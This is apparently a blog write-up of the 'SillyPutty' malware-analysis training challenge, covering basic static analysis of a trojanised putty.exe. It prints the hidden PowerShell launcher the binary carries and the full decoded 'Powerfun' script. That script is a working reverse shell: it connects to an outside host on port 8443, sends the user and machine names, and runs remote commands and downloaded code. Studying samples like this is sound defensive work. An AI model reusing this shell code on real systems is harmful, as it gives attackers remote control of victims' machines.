Post

SillyPutty - Part 1

Basic static analysis of the SillyPutty challenge.

SillyPutty - Part 1

Objective

1
2
3
4
5
6
7
Hello Analyst,

The help desk has received a few calls from different IT admins regarding the attached program.
They say that they've been using this program with no problems until recently.
Now, it's crashing randomly and popping up blue windows when its run. I don't like the sound of that. Do your thing!

IR Team

Perform basic static and basic dynamic analysis on this malware sample and extract facts about the malware’s behavior. Answer the challenge questions below.

Basic static analysis

What is the SHA256 hash of the sample?

1
2
$ sha256sum.exe putty.exe
0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83 *putty.exe

What architecture is this binary?

Using PEStudio, we can see that it’s a 32-bit binary. architecture.png

Are there any results from submitting the SHA256 hash to VirusTotal?

View full VirusTotal analysis vt.png

Describe the results of pulling the strings from this binary. Record and describe any strings that are potentially interesting. Can any interesting information be extracted from the strings?

If we checking the strings, we can see that a powershell command is sent :

1
powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('{b64encoded_value}}'))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

Let’s break it down to understand it :

  • nop: No Profile — Runs PowerShell without loading the user profile.
  • w hidden: Window Hidden — Starts PowerShell with a hidden window.
  • noni: No Interactive — Runs PowerShell non-interactively.
  • ep bypass: Execution Policy Bypass — Ignores script execution policy restrictions.

We can also understand from the scriptblock that it reads a base64-encoded Gzip-compressed powershell script and if we decompress it, we can see that it’s a script called PowerFun.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
PS C:\Users\concierge > $value
# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun
{
    Param(
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    )
    Process {
    $modules = @()
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]8443
        $listener.start()
        $client = $listener.AcceptTcpClient()
    }
    if ($Command -eq "reverse")
    {
        $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true")
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as
[Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local")
        $stream = $sslStream
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " +
$env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()
    }
    $client.Close()
    $listener.Stop()
    }
}

powerfun -Command reverse -Sslcon true

After examining this script, we can be certain that it’s a powershell reverse shell.

Describe the results of inspecting the IAT for this binary. Are there any imports worth noting?

After inspecting the IAT for this binary, it looks normal.

Is it likely that this binary is packed?

This binary is likely not packed since the size of raw data and virtual size of the headers are close values. We can also tell since the strings are detailed.

This post is licensed under CC BY 4.0 by the author.